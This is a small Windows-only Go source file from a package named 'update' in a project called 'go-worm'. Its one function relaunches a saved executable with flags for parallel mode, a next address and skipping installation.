18 lines
345 B
Go
18 lines
345 B
Go
//go:build windows
|
|||
|
|
|
||
|
|
package update
|
||
|
|
|
||
|
|
import (
|
||
|
|
"fmt"
|
||
|
|
|
||
|
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||
|
|
)
|
||
|
|
|
||
|
|
func deployLaunch(savedPath, nextAddr string) error {
|
||
|
|
args := []string{"-parallel", "-addr", nextAddr, "-skip-install"}
|
||
|
|
if err := instance.Launch(savedPath, args); err != nil {
|
||
|
|
return fmt.Errorf("launch update: %w", err)
|
||
|
|
}
|
||
|
|
return nil
|
||
|
|
}
|